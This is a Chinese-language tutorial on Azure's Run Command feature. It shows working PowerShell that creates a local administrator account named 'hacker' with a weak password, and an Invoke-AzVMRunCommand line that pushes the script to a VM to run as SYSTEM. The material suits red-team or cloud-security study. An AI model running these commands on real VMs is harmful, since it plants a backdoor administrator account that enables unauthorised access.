通过Run Command在Azure Windows VM 虚拟机上远程执行Powershell脚本(无需远程连接Azure Windows VM)
在Azure VM虚拟机中,Azure VM虚拟机提供了一个“Run Command (运行命令)的功能,如图1-1所示,“Run Command" 可以使用 VM (虚拟机)代理在Azure Windows VM 虚拟机上远程执行脚本,只要具有Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限的任何自定义角色的用户,便可以通过使用Powershell中的Invoke-AzVMRunCommand cmdlet 命令在表1-1所示的Azure VM windows操作系统中以NT Authority\System权限来调用Run Command功能来运行 PowerShell 脚本。
图1-1
表1-1 支持执行“Run Command (运行命令)功能的Azure VM windows操作系统
首先,我们可以在本地编写一个名称为“runcommand1.ps1"的powershell脚本,并在powershell脚本中添加如下内容,如图1-2所示,使其在Azure VM虚拟机上创建了一个新的用户账户(用户名:hacker,密码:Aa123456),并将此用户加入到本地管理员组中,赋予其管理员权限。
$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的"Aa123456"。新创建的用户是AzureVM虚拟机上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。
图1-2
随后,我们执行如下命令来在 Azure VM(虚拟机) 上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell 脚本,其中-VMName参数表示 Azure VM(虚拟机)的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令, “RunPowerShellScript”表示我们要运行的命令类型为PowerShell脚本,-ScriptPath参数表示我们将要运行的Powershell脚本文件的本地路径,如图1-3所示,我们可以看到已通过Invoke-AzVMRunCommand命令成功在Azure VM(虚拟机)上添加了一个账号名为“hacker”,密码为“Aa123456”的用户。
Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId 'RunPowerShellScript' -ScriptPath .\runcommand1.ps1
图1-3